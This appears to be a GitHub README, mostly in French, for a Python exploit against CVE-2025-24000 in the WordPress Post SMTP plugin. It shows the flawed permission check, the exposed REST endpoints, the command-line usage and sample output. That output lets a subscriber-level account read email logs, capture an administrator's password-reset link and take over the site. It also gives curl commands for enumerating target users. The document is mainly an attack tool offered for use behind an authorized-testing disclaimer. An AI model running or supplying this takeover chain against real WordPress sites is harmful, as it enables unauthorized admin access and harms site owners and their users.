
Short Python script for exploiting CVE-2025–24000 based on this blog post: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
Ce script exploite CVE-2025-24000, une vulnérabilité de contrôle d'accès brisé de sévérité élevée dans le plugin WordPress Post SMTP (versions ≤ 3.2.0). Il permet à tout utilisateur authentifié avec un compte à faibles privilèges (par exemple, Abonné) d'accéder aux journaux d'emails de l'API REST du plugin, de voler un lien de réinitialisation de mot de passe admin, et de prendre le contrôle du compte administrateur.
La vulnérabilité provient d'une vérification de permissions défaillante dans l'API REST du plugin :
// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
return is_user_logged_in();
}
Tout utilisateur connecté, quel que soit son rôle, peut accéder aux endpoints destinés uniquement aux administrateurs :
GET /wp-json/psd/v1/get-logsGET /wp-json/psd/v1/get-details?id=<id>&type=show_viewPOST /wp-json/psd/v1/resend-email/wp-admin//wp-admin en tant qu'administrateurrequests library (pip install requests)python3 exploit_cve_2025_24000.py \
--url <wordpress_base_url> \
--username <your_subscriber_username> \
--password <your_subscriber_password> \
--email <admin_username_or_email>
| Argument | Description |
|---|
python3 exploit_cve_2025_24000.py \
--url http://samurai.local/samurai/ \
--username attacker \
--password Password1 \
--email shogun
[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...
[+] RESET LINK FOUND:
http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun
[*] Visit the link above to set a new admin password and take over the site.
curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
curl -s 'http://target.local/?author=1' -I | grep -i location
Cet outil est destiné uniquement aux tests de pénétration autorisés et à des fins éducatives. Ne l'utilisez pas contre des systèmes pour lesquels vous n'avez pas d'autorisation explicite de tester.
--url | URL de base du site WordPress (par ex. http://target.local/wordpress/) |
--username | Votre nom d'utilisateur WordPress à faibles privilèges |
--password | Votre mot de passe WordPress à faibles privilèges |
--email | Nom d'utilisateur ou email admin à réinitialiser |